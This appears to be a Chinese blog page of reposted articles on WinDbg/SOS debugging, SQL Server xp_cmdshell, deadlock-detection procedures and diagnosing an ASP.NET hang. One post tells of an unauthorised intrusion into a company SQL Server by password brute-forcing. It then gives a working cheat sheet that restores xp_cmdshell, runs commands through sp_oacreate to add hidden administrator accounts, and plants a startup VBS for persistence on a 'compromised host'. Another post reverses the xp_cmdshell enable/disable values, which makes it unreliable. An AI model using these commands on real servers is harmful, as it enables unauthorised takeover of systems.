[Debug]windgb,sos,adplus,tinyget常用命令

mikel阅读(1338)

转载:http://www.cnblogs.com/david-qian/archive/2009/01/15/1376225.html

在上一篇的译文中,主要讲解了TessDebug系列概况以及Debugger tools的安装和设置。在翻译下一篇文章之前,我打算先和大家讲解下windbgsosadplustinyget的一些常见命令。了解了这些以后,你将会更加容易的理解以后的文章。

ASP.NET Debug系列之一:环境搭配

 

1. adplus

这个脚本工具是和debugger tools一起安装的。可以自动的帮你监视某个程序,并在你设定的条件下生成一个dump文件保存在debugger目录下。使用这些工具时,都需要将命令提示符窗口切到debugger目录。常见的用法如下:

adplus  -hang -pn w3wp.exe    
在生成hang状态下的dump时,adplus都会立即产生dump文件。在输入此命令并按enter后,此命令将立即获取一个w3wp.exe的内存切片。但是此命令会弹出一个确认窗口,如果你觉得这个比较麻烦的话,你可以在最后加上 –quiet 命令来避免窗口的弹出。

adplus -hang -p 1234 –quiet  
相信你很快就能发现,上行命令是使用的process name,而这个命令是使用的process id。同时,它可以直接生成dump,不会弹出确认窗口。

adplus -crash -pn w3wp.exe   
此命令是获取程序crash时的dump。它不同于hang立即得到dump,它会一直attachw3wp.exe程序上,直到w3wp.exe程序crash。其它类似参数的效果都同上。

当然,如果你使用Vista的话,你可以很方便的在任务管理器(task manager)中通过右键 Create dump file获取dump文件。

 

2.  tinyget

这个工具是用来对一个网站进行压力测试的。最常用的命令是:

tinyget -srv:localhost -uri:/BuggyBits/FeaturedProducts.aspx -threads:30 -loop:50  
该命令表示同时启动30个线程发送50个请求到本地IISBuggyBits站点的FeaturedProducts页面。你也可以在命令窗口中使用”tinyget /?”查看更多详细的命令。

 

3.  windbg

Windbg的命令都是一点号(.)来开始的,它不同于叹号开始的命令(!),叹号开始的命令都是sos.dll中的命令。

.load sos
每次打开windbg调试.net程序的dump时,我们首先要输入此命令。它的用途是使得windbg可以支持托管代码(managed code)的调试。

.time  
查看dump文件生成时的时间,其中包括系统当前时间,开机总时间,程序运行总时间,程序运行在内核态总时间以及用户态总时间。

 

4. sos.dll

最强大的功能还要数sos.dll中的命令,它是我们调试.net程序的基础。下面介绍一些基本命令:

!help
它用来查看每个命令的用法。如!help !threads,用来查看!threads 命令的具体用法。如果直接使用!help,它将列出sos的基本信息。

!threadpool
通过这个命令,我们可以很容易的看出在dump文件生成时的确切CPU使用率,同时,我们也可以看到队列中等待的work requeststimers以及completion port threads等信息。Timerswork requests以及completion port threads都是CLR的线程种类,在以后的文章中我会详细介绍。

!runaway
它是用来罗列所有正在运行的线程以及它们的CPU占用率。通过这个命令,我们可以很容易的去trouble shooting一些CPU占用率过高的问题。

!threads
它是用来罗列所有正在运行的托管(managed)线程的详细信息,如CLR线程所在的appdomain等等。如果线程的ID显示XXXX,说明这个线程已经结束,等待被回收。

~[id]s
此命令用来切换到某一特定线程。如 ~20s 代表切换到ID20的线程。

!clrstack
此命令用来显示此线程的managed code callstack。我们可以加上-p参数来得到更加详细的信息。

!dumpobject(!do)
通过这个命令,我们可以查看某个特定addressobject信息。如果这个address指向一个string,我们就可以看到这个string内存储了什么值。

!dumpstackobjects(!dso)  
此命令用来查看被当前线程堆栈引用的所有托管对象。

!dumparray(!da)
当我们查看线程堆栈上的object时,我们可以使用!do命令。但是如果该object是一个array的话,!do只能得到array本身的信息,并非其存储的内容。此时!da就发挥了用场。

!objsize
如果我们想查看一个objecttotal size的时候,我们需要使用!objsize命令。比如当我们!da一个array时,它显示的size仅仅是包含的typesize,并非实际的size。我们可以使用!objsize address来查看这个array的实际size

!dumpheap
它是用来查看堆上所有的object。通常我们加上 –stat参数来帮我们做个归类,否则它会罗列出许多繁杂的信息。同时,它还有几个比较常用的参数,如-type-mt-type用来列出某一特定类型的所有object,如!dumpheap –type System.String将列出堆上所有的string-mt是用来列出某一特定MethodTable的所有object。大家知道,每一个引用类型都对应一个MethodTable,假设System.String类型的MethodTable02c39310,那么我们还可以通过!dumpheap –mt 02c39310来找到堆上所有的string

这些是一些基本命令的用法,大家需要先有点印象。在后面的文章中,我们会经常遇到这些命令。同时,在后面的文章中,我也会和大家介绍遇到的每一个命令。

Have a nice day!

[SQL]SQL Server 2005如何起用“xp_cmdshell”

mikel阅读(1005)

转载:http://www.enet.com.cn/article/2008/0306/A20080306175443.shtml
  xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。由于xp_cmdshell 可以执行任何操作系统命令,所以一旦SQL Server管理员帐号(如sa)被攻破,那么攻击者就可以利用xp_cmdshell 在SQL Server中执行操作系统命令,如:创建系统管理员,也就意味着系统的最高权限已在别人的掌控之中。由于存在安全隐患,所以在SQL Server 2005中, xp_cmdshell 默认是关闭的。
  两种方式启用xp_cmdshell
  1.打开外围应用配置器—>

2008的外围应用配置器合并到了"方面"的工具里面.
打开SSMS.对着你的服务器节点右击..然后选择"方面",然后里面有一项"外围应用配置器"

  功能的外围应用配置器—>
  实例名Database Enginexp_cmdshell—>
  启用
  2.sp_configure
  – 允许配置高级选项
  EXEC sp_configure 'show advanced options', 1
  GO
  – 重新配置
  RECONFIGURE
  GO
  – 启用xp_cmdshell
  EXEC sp_configure 'xp_cmdshell', 0
  GO
  –重新配置
  RECONFIGURE
  GO
  –执行想要的xp_cmdshell语句
  Exec xp_cmdshell 'query user'
  GO
  –用完后,要记得将xp_cmdshell禁用(从安全角度安全考虑)
  – 允许配置高级选项
  EXEC sp_configure 'show advanced options', 1
  GO
  – 重新配置
  RECONFIGURE
  GO
  – 禁用xp_cmdshell
  EXEC sp_configure 'xp_cmdshell', 1
  GO
  –重新配置
  RECONFIGURE
  GO

[SQL]关于xp_cmdshell 。。注意安全!

mikel阅读(1151)

转载:http://www.cnblogs.com/lbk/archive/2005/04/28/146973.html
昨天看了存储过程的一点东西,其中就说到了xp_cmdshell 这个东西,以前只是知道黑客能通过MSSQL的漏洞来入侵你的系统,不是太明白。当知道了xp_cmdshell 的强大之后,试了一下,有点开窍了,下面是这方面的一点东西。
xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,
  并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。
   一般情况下,xp_cmdshell对管理员来说也是不必要的,xp_cmdshell的消除不会对Server造成
  任何影响。
   可以将xp_cmdshell消除:
   Use Master
   Exec sp_dropextendedproc N’xp_cmdshell’
   Go
  
   如果需要的话,可以把xp_cmdshell恢复回来:
   Use Master
   Exec sp_addextendedproc N’xp_cmdshell’, N’xplog70.dll’
   Go
xp_cmdshell 操作系统命令外壳
这个过程是一个扩展存储过程,用于执行指定命令串,并作为文本行返回任何输出。
语法:
    xp_cmdshell command_string[,no_output]
        command_string    要执行的命令串
        no_output         不返回命令执行的输出
说明:
在把xp_cmdshell的执行许可权授予用户时,用户将能够在Windows NT命令
外壳执行运行SQL Server(通常是本地系统)的帐号有执行特权的任何
操作系统命令。
例:
1、EXEC master..xp_cmdshell "dir *.exe"
                             返回可执行文件的列表
2、EXEC master..xp_cmdshell "copy d:\test1.jpg e:\" no_output
                             不返回输出
3、特别是执行
EXEC master..xp_cmdshell "net start awhost32"
EXEC master..xp_cmdshell "net stop awhost32"
可以启动和停止远程的PCAnywhere服务。对远程服务器操作很有帮助。
最后提醒大家,注意你的系统的安全,保护自己,提高警惕。

[SQL]记一次无意的侵入测试

mikel阅读(1009)

转载:http://www.cnblogs.com/junzhongxu/archive/2009/06/16/1504062.html
前年在一个图书管理软件的公司做测试,由于公司的软件相对于比较成熟,所以主要做的就是功能测试、安装卸载测试、兼容性测试与性能测试,对软件安全这块测试的比较少。

  有一天,心血来潮,想着这个软件是否真的这样不可攻克呢?从来不做安全性测试,然后打定主意测试一次。

  公司的软件是C/S的系统,连接的是SQLServer数据库。SQLServer数据库有漏洞这个是早有耳闻,所以就从SQLserver开始下手。

  首先使用X-Scan-v3.3-cn扫描了一下这个局域网(公司系统管理员警觉不够啊,我扫描了一个小时他都没有发现),发现有几台电脑都是 用户名为Administrator密码为空,不过这不是我的目标,暂时可以忽略。同时看到了目标主机的一些信息,80端口被关闭了,那么可能是没有连接 外网,然后有一个135  445 等一些端口,这个也没有使用到,最重要的一个信息看到了,SQLserver连接用户名为原来公司拼音简写,密码显示为弱口令,这下有信心了,然后使用了 一个简单的暴力破解软件,破解了密码。

  哎,这么快就破解了这个数据库,也是我没有想到的,我以前一直以为这个系统真的是做的牢不可破呢!

  既然进来了,没事就继续逛逛吧,记得SQLserver还有一个很危险的存储过程xp_cmdshell,不知开发人员有没有处理,写了个 EXEC sp_addextendedproc xp_cmdshell 'net user',竟然执行成功,显示了目标主机的所有用户,哎,现在我彻底无语了。然后我就直接使用XP_cmdshell这个存储过程创建了一个相当与 Administrator权限的用户,而且在这台主机上安装了DameWare,呵呵然后带着这个漏洞想项目经理领赏去了。

  附:xp_cmdshell的一些简单使用(其他网友经验)

  开启cmdshell的SQL语句

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

  判断存储扩展是否存在

  Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

  返回结果为1就OK

  恢复xp_cmdshell

  Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

  返回结果为1就OK

  否则上传xplog7.0.dll

  Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'

  扫到SQL弱口令后利用SQLTOOLS出现未能找到存储过程 'master..xp_cmdshell'

  这种情况的主要原因是删除了扩展存储过过程xp_cmdshell,有一个恢复的办法,如果不成功说明被改名了。

  使用SQLTOOLS连接,连接后在利用目录下点执行数据库命令,执行:

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

  运气好的话就成功了,如果你想让你的肉鸡用SQL执行不了DOS命令的话,执行:

  sp_dropextendedproc "xp_cmdshell"

  就执行不了DOS命令了,当然用上面的语句可以复原。

用SQLTOOLS可以连接成功,执行DOS命令,却总是显示这个:拒绝了对对象 'xp_cmdshell'(数据库 'master',所有者 'dbo')的 EXECUTE 权限。

  怎么解决????

  上传文件也不行……

  1、未能找到存储过程'master..xpcmdshell'。

  恢复方法:查询分离器连接后,

  第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

  第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  然后按F5键命令执行完毕。

  2、无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)

  恢复方法:查询分离器连接后,

  第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

  第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  然后按F5键命令执行完毕。

  3、无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

  恢复方法:查询分离器连接后

  第一步执行:exec sp_dropextendedproc 'xp_cmdshell'

  第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'

  然后按F5键命令执行完毕。

  4、终极方法:

  如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

  查询分离器连接后,

  2000servser系统:

  declare @shell int exec sp_oacreate 'wscript.shell',@shell output

  exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'

  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod

  @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'

  xp或2003server系统:

  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod

  @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'

  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod

  @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'

  还不行就没办法了……

  方法1:查询分离器连接后执行:

  if exists (select * from

  dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and

  OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

  exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

  GO

  然后按F5键命令执行完毕

  方法2:查询分离器连接后

  第一步执行:use master

  第二步执行:sp_dropextendedproc 'xp_cmdshell' 然后按F5键命令执行完毕

  1、未能找到存储过程'master..xpcmdshell'. 恢复方法:查询分离器连接后,

  第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

  第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 然后按F5键命令执行完毕

  2、无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)

  恢复方法:查询分离器连接后,

  第一步执行:sp_dropextendedproc "xp_cmdshell"

  第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'然后按F5键命令执行完毕

  3、无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

  恢复方法:查询分离器连接后,

  第一步执行:exec sp_dropextendedproc 'xp_cmdshell'

  第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'

  然后按F5键命令执行完毕

  4、终极方法。如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

  查询分离器连接后,

  2000servser系统:

  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user yszar andylau /add'

  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators yszar /add'

  xp或2003server系统:

  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'

  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'

  或者可以

  declare @o int

  exec sp_oacreate 'wscript.shell', @o out

  exec sp_oamethod @o, 'run', NULL, 'XXXXX'\\XXXXX为你要执行的命令

  有时候用查询分离器连接执行以上语句的时候会出现找不到存储过程 sp_addextendedproc

  解决方法:

  create procedure sp_addextendedproc — 1996/08/30 20:13

  @functname nvarchar(517),/* (owner.)name of function to call */

  @dllname varchar(255)/* name of DLL containing function */

  as

  set implicit_transactions off

  if @@trancount > 0

  begin

  raiserror(15002,-1,-1,'sp_addextendedproc')

  return (1)

  end

  dbcc addextendedproc( @functname, @dllname)

  return (0) — sp_addextendedproc

  GO

  这段代码贴入查询分离器,执行

  1、突破xplog70.dll

  declare @cmd INT

  exec sp_oacreate 'wscript.shell',@cmd output

  exec sp_oamethod @cmd,'run',null,'net user 用户名 密码 /add','0','true'

  declare @cmd INT

  exec sp_oacreate 'wscript.shell',@cmd output

  exec sp_oamethod @cmd,'run',null,'net localgroup administrators 用户名 /add','0','true'

  2、恢复xp_cmdshell

  先尝试恢复xp_cmdshell,sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',

  结果发现xpsql70.dll被删除。

  然后写vbs文件到启动组里面:

  declare @o int, @f int, @t int, @ret int ,@a int

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'createtextfile', @f out,

  'c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动http://www.cnblogs.com/junzhongxu/admin/file://a.vbs'/, 1

  exec @ret = sp_oamethod @f, 'writeline', NULL,

  'set wshshell=createobject("wscript.shell")'

  exec @ret = sp_oamethod @f, 'writeline', NULL,

  'a=wshshell.run ("cmd.exe /c net user lintao lintao520 /add",0)'

  exec @ret = sp_oamethod @f, 'writeline', NULL,

  'b=wshshell.run ("cmd.exe /c net localgroup administrators lintao /add",0)'

  3、去除SA的xp_cmdshell权限

  如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:

  use master

  sp_dropextendedproc 'xp_cmdshell'

  xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。

  sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  4、上传xplog7.0.dll:

  exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

转自:http://www.51testing.com/html/03/n-132103.html

[SQL]检测死锁的SQL语句和存储过程

mikel阅读(1108)

转载:http://www.cnblogs.com/zhuawang/archive/2008/08/14/1267879.html

如果发生死锁了,我们怎么去检测具体发生死锁的是哪条SQL语句或存储过程?

这时我们可以使用以下存储过程来检测,就可以查出引起死锁的进程和SQL语句。SQL Server自带的系统存储过程sp_who和sp_lock也可以用来查找阻塞和死锁, 但没有这里介绍的方法好用。

use master
go
create procedure sp_who_lock
as
begin
declare @spid int,@bl int,
 
@intTransactionCountOnEntry  int,
        
@intRowcount    int,
        
@intCountProperties   int,
        
@intCounter    int

 
create table #tmp_lock_who (
 id 
int identity(1,1),
 spid 
smallint,
 bl 
smallint)
 
 
IF @@ERROR<>0 RETURN @@ERROR
 
 
insert into #tmp_lock_who(spid,bl) select  0 ,blocked
   
from (select * from sysprocesses where  blocked>0 ) a 
   
where not exists(select * from (select * from sysprocesses where  blocked>0 ) b 
   
where a.blocked=spid)
   
union select spid,blocked from sysprocesses where  blocked>0

 
IF @@ERROR<>0 RETURN @@ERROR 
  
 找到临时表的记录数
 select  @intCountProperties = Count(*),@intCounter = 1
 
from #tmp_lock_who
 
 
IF @@ERROR<>0 RETURN @@ERROR 
 
 
if @intCountProperties=0
  
select '现在没有阻塞和死锁信息' as message

 循环开始
while @intCounter <= @intCountProperties
begin
 取第一条记录
  select  @spid = spid,@bl = bl
  
from #tmp_lock_who where Id = @intCounter 
 
begin
  
if @spid =0 
            
select '引起数据库死锁的是: '+ CAST(@bl AS VARCHAR(10)) + '进程号,其执行的SQL语法如下'
 
else
            
select '进程号SPID:'+ CAST(@spid AS VARCHAR(10))+ '' + '进程号SPID:'+ CAST(@bl AS VARCHAR(10)) +'阻塞,其当前进程执行的SQL语法如下'
 
DBCC INPUTBUFFER (@bl )
 
end 

 循环指针下移
 set @intCounter = @intCounter + 1
end

drop table #tmp_lock_who

return 0
end

杀死锁和进程

如何去手动的杀死进程和锁?最简单的办法,重新启动服务。但是这里要介绍一个存储过程,通过显式的调用,可以杀死进程和锁。

use master
go

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_killspid]'and OBJECTPROPERTY(id, N'IsProcedure'= 1)
drop procedure [dbo].[p_killspid]
GO

create proc p_killspid
@dbname varchar(200)    要关闭进程的数据库名
as  
    
declare @sql  nvarchar(500)  
    
declare @spid nvarchar(20)

    
declare #tb cursor for
        
select spid=cast(spid as varchar(20)) from master..sysprocesses where dbid=db_id(@dbname)
    
open #tb
    
fetch next from #tb into @spid
    
while @@fetch_status=0
    
begin  
        
exec('kill '+@spid)
        
fetch next from #tb into @spid
    
end  
    
close #tb
    
deallocate #tb
go

用法  
exec p_killspid  'newdbpy'

查看锁信息

如何查看系统中所有锁的详细信息?在企业管理管理器中,我们可以看到一些进程和锁的信息,这里介绍另外一种方法。

查看锁信息
create table #t(req_spid int,obj_name sysname)

declare @s nvarchar(4000)
    ,
@rid int,@dbname sysname,@id int,@objname sysname

declare tb cursor for 
    
select distinct req_spid,dbname=db_name(rsc_dbid),rsc_objid
    
from master..syslockinfo where rsc_type in(4,5)
open tb
fetch next from tb into @rid,@dbname,@id
while @@fetch_status=0
begin
    
set @s='select @objname=name from ['+@dbname+']..sysobjects where id=@id'
    
exec sp_executesql @s,N'@objname sysname out,@id int',@objname out,@id
    
insert into #t values(@rid,@objname)
    
fetch next from tb into @rid,@dbname,@id
end
close tb
deallocate tb

select 进程id=a.req_spid
    ,数据库
=db_name(rsc_dbid)
    ,类型
=case rsc_type when 1 then 'NULL 资源(未使用)'
        
when 2 then '数据库'
        
when 3 then '文件'
        
when 4 then '索引'
        
when 5 then ''
        
when 6 then ''
        
when 7 then ''
        
when 8 then '扩展盘区'
        
when 9 then 'RID(行 ID)'
        
when 10 then '应用程序'
    
end
    ,对象id
=rsc_objid
    ,对象名
=b.obj_name
    ,rsc_indid
 
from master..syslockinfo a left join #t b on a.req_spid=b.req_spid

go
drop table #t

[IIS]一次挂死(hang)的处理过程及经验

mikel阅读(1169)

转载:http://www.cnblogs.com/longyu/archive/2009/06/21/1507250.html

前言:

       CPU占用率低,内存还有许多空余,但网站无法响应,这就是网站挂死,通常也叫做hang。这种情况对于我这样既是CEO, 又是CTO,还兼职扫地洗碗的个人站长来说根本就是家常便饭。以下是一次处理hang的经验及总结,前后用了一个月,不仅涉及程序排查,数据库优化,还有 硬件升级的苦恼。其中辛酸苦辣只有经历过的站长才能体会,希望此文能对各位有所帮助!
 
       首先介绍一下网站基本情况,是一个在线小说阅读网站,每天有一定页面访问量,在优化开始前由两台服务器运行,均为Dell PowerEdge 2950,配置为一台Intel xeon E5410 2.33G*2 ,4GB ECC内存,另一台Intel xeon E5405 2.0G*2 ,2GB ECC内存。
网站程序采用ASP.NET 2.0,操作系统为 windows 2003 server 企业版,数据库为Ms SQLServer 2005。数据库放在配置较低的那台机器上,网站小说图片和章节内容用EMC Replistor同步。

 问题描述:

         大概在五月中旬,网站速度开始变慢,根据读者的描述每当中午以后每间隔一段时间,浏览器处于连接的状态,但是一直没有收到服务器的响应,打开下一个页面往往需要一两分钟。这种情况持续大概5分钟后打开速度恢复正常,然后隔相同时间又出现。
 登陆服务器观察CPU波动在10%-30%之间,w3wp.exe内存占用500M左右,应该不是内存溢出或者泄露。观察任务管理中“联网”一项,发现服务器流量有如下变化:
 
         

      显然在hang期间服务器没有对外发送任何数据。

 初步尝试:

        是什么造成服务器假死呢?根据读者的描述:“中午以后”可以知道hang出现在访问人数较大的时期,“间隔相同时间出现”提示我们有可能是服务器某些资源被耗尽造成死锁,然后服务器回收,接着再次耗尽。
        有了以上判断,我们就有路可循了,估计问题无非出在IIS6,ASP.NET 2.0 ,MSSQL SERVER 2005这三个服务的配置上:

            1. 检查IIS设置,主要检查应用程序池里的设置,看看核心请求队列有没有限制. 可以参考 《Windows Server 2003 性能调整指南
            2. 检查ASP.NET的http管道设置,具体是machine.config下 <system.web>的<processModel />节点,可以参考《ASP.net 2.0:我还有多少秘密你不知道?(1)》
            3 MS SQLServer暂时没有想到有什么需要修改的,保持默认设置。

       经过检查发现IIS设置没有问题,machine.config配置文件下processModel为 autoConfig="true",于是把requestQueueLimit修改为15000,另外还修改了其他一些配置。上传后发现问题依旧,这下 郁闷了,难道还有什么会造成服务器资源消耗后回收?

      答案是显然的,.NET环境下确实有这么一个东西: GC!
      会不会是由于GC在压缩和回收垃圾造成网站无法响应?如何监视GC运行的情况呢?

      答案也是显然的:性能监视器 ((转)Windows 性能监视器工具-perfmon
      性能监视器下的.Net CLR Memory Object有很多关于GC的计数器,能让我们了解GC的详细工作情况。但是经过观察发现在hang期间和hang之前都没有GC运行的明显变化,我的天啊,也不是GC的问题,那会是什么呢?

      相信很多和我一样的菜鸟小站长到这个地步已经垂头丧气了,难道我们现在应该到论坛或者博客园发帖然后祷告哪个高手好心帮帮忙花 点小力气解决一下?我们是否还有一些遗忘的东西?或者说我们是不是忽略了问题的本质?这里的问题显然是由于IIS无法响应请求,确切的来说是 ASP.NET无法正常的响应请求(为什么是ASP.NET而不是IIS?猜的!),那有没有办法知道ASP.NET在hang期间正在进行什么工作呢? 有的!这就是.net爱好者人手一把的神器级工具:windbg

  神器windbg:

       Windbg是微软发布的一款用于调试和Debug的免费工具,可以在http://www.microsoft.com/whdc/DevTools/Debugging/default.mspx下载。
      我们主要利用windbg抓取hang期间的dump用于分析,其他windbg的功能请参考园子里的资料。
      在服务器上下载并安装好windbg后,进入命令行,转到C:\Program Files\Debugging Tools for Windows (x86)\目录下,
      输入 adplus –hang –pn w3wp.exe – quiet,但是不要急着按回车,等到出现hang情况再按,这样我们就在目录下得到一个dump文件,其大小与w3wp.exe进程大小相同。(adplus及如何自动抓取参考园子里资料)。
      把dump文件下载到本地后,运行自己机器上的windbg打开dump文件(windbg初始配置请参考资料),输入:
      1 .load sos  
      此命令加载.net 调试器,具体设置请参考资料
      2 !threads   
      查看当前运行的进程,得到结果如下,省略了一部分:
0:000> !threads
ThreadCount: 245
UnstartedThread: 0
BackgroundThread: 245
PendingThread: 0
DeadThread: 0
Hosted Runtime: no
                                      PreEmptive   GC Alloc           Lock
       ID OSID ThreadOBJ    State     GC       Context       Domain   Count APT Exception
  11    1  9e4 000e96a0   1808220 Enabled  00000000:00000000 0010f680     1 MTA (Threadpool Worker)
  23    2  f48 000bd750      b220 Enabled  00000000:00000000 000eac88     0 MTA (Finalizer)
  25    3 1324 00104370   180b220 Enabled  00000000:00000000 0010f680     1 MTA (Threadpool Worker)
  26    4  4f8 00106980   180b220 Enabled  00000000:00000000 0010f680     1 MTA (Threadpool Worker)
  27    5  9ec 0010bd38    80a220 Enabled  00000000:00000000 000eac88     0 MTA (Threadpool Completion Port)
。。。。。。。

      我们可以看到当前一共有245个进程正在运行,根据熊力大师的《windows用户态高效排错》P164页上描述(刚好例子也 是博客园),超过30个线程估计程序中有blocking发生,那我们245个线程就是由blokiiiiiiiiing发生了,仔细检查一下,没有线程 处于GC状态,说明blocking不是因为GC,证实了我上面的推断。
      接着输入:
       ~* e!clrstack  看看这些线程都在执行什么,结果发现几乎所有的进程都在执行同一个过程,如下(阅读请从下往上看,因为是stack):

24aeeb60 7c9585ec [NDirectMethodFrameStandalone: 24aeeb60] Microsoft.Win32.Win32Native.CloseHandle(IntPtr)
24aeeb70 7927984d Microsoft.Win32.SafeHandles.SafeFileHandle.ReleaseHandle()
24aeed90 79e71b4c [GCFrame: 24aeed90]
24aeef88 79e71b4c [GCFrame: 24aeef88]
24aeeff4 79e71b4c [HelperMethodFrame_1OBJ: 24aeeff4] System.Runtime.InteropServices.SafeHandle.InternalDispose()
24aef04c 792e5e06 System.Runtime.InteropServices.SafeHandle.Dispose(Boolean)
24aef054 792e5ddd System.Runtime.InteropServices.SafeHandle.Dispose()
24aef05c 792eb580 System.IO.FileStream.Dispose(Boolean)
24aef090 792dfc82 System.IO.Stream.Close()
24aef09c 79271d90 System.IO.StreamReader.Dispose(Boolean)
24aef0c8 792d88ad System.IO.TextReader.Dispose()
24aef0d0 1d879f07 XXXXXX.BLL.Chapter.ChapterContent(Int32, Int32)
24aef110 1d879e14 XXXXX.BLL.Chapter.GetChapterContent(Int32, Int32)
24aef120 1d874a4e XXXXX.ReadContent.Page_Load(System.Object, System.EventArgs)

24aef164 66f2a7ff System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr, System.Object, System.Object, System.EventArgs)
24aef174 660b2344 System.Web.Util.CalliEventHandlerDelegateProxy.Callback(System.Object, System.EventArgs)
24aef188 660ab864 System.Web.UI.Control.OnLoad(System.EventArgs)
24aef19c 660ab8a3 System.Web.UI.Control.LoadRecursive()
24aef1b4 660a7954 System.Web.UI.Page.ProcessRequestMain(Boolean, Boolean)
24aef30c 660a7584 System.Web.UI.Page.ProcessRequest(Boolean, Boolean)
24aef344 660a74b1 System.Web.UI.Page.ProcessRequest()
24aef37c 660a7446 System.Web.UI.Page.ProcessRequestWithNoAssert(System.Web.HttpContext)
24aef388 660a7422 System.Web.UI.Page.ProcessRequest(System.Web.HttpContext)
24aef39c 26bff7d5 ASP.readcontent_aspx.ProcessRequest(System.Web.HttpContext)
24aef3a0 660ad8f6 System.Web.HttpApplication+CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()
24aef3d4 6608132c System.Web.HttpApplication.ExecuteStep(IExecutionStep, Boolean ByRef)
24aef414 6608c3a3 System.Web.HttpApplication+ApplicationStepManager.ResumeSteps(System.Exception)
24aef464 660808ac System.Web.HttpApplication.System.Web.IHttpAsyncHandler.BeginProcessRequest(System.Web.HttpContext, System.AsyncCallback, System.Object)
24aef480 66083e1c System.Web.HttpRuntime.ProcessRequestInternal(System.Web.HttpWorkerRequest)
24aef4b4 66083ac3 System.Web.HttpRuntime.ProcessRequestNoDemand(System.Web.HttpWorkerRequest)
24aef4c4 66082c5c System.Web.Hosting.ISAPIRuntime.ProcessRequest(IntPtr, Int32)
24aef6d8 79f68c4e [ContextTransitionFrame: 24aef6d8]
24aef70c 79f68c4e [GCFrame: 24aef70c]
24aef868 79f68c4e [ComMethodFrame: 24aef868]
OS Thread Id: 0x17d4 (109)

      这下问题很明显了,是由于XXXXXX.BLL.Chapter.ChapterContent(Int32, Int32)引发磁盘IO操作造成锁定,ChapterContent是读取小说章节内容的一个函数,小说内容保存在txt文件中,每一个章节对应一个 txt文件,在显示章节内容时首先读取txt的文件然后打印到网页当中。具体代码如下:

        private static string ChapterContent(int bookId, int chapterId)
        {
            string filepath = siteRoot + string.Format(chapterPath, bookId.ToString(), chapterId.ToString());

            if (File.Exists(filepath))
            {
               return File.ReadAllText(filepath, Encoding.UTF8);
            }

            string bookPath = siteRoot + "/book/" + bookId.ToString();

            if (!Directory.Exists(bookPath))
            {
                Directory.CreateDirectory(bookPath);
            }
            return "此文章内容丢失,请复制网址通知管理员";
        }

      代码看起来没有问题,查看源码知道File.ReadAllText内部用了using读取文件,应该是及时释放了的,那么估 计问题出在大量IO同时进行,导致非托管代码出现了blocking(SafeHandle是.net2.0增加的保证程序可靠性的东东,熊力大师的书上 有描述),那么问题是,如何得到一个支持大量IO操作,具有线程安全的文件系统呢?等等,这话听起来好熟悉,这不就是数据库吗??!
OK,这下我们的信心又从火星飞回来了,赶快动手写程序把txt文件导入数据库中,经过3天时间的终于把200多万个TXT章节共计17GB导入到ms SQLServer2005中(夜间人少的时候进行)。本以为这下搞定了,却不知道是另一场噩梦的开始!
站长之路何其艰辛!

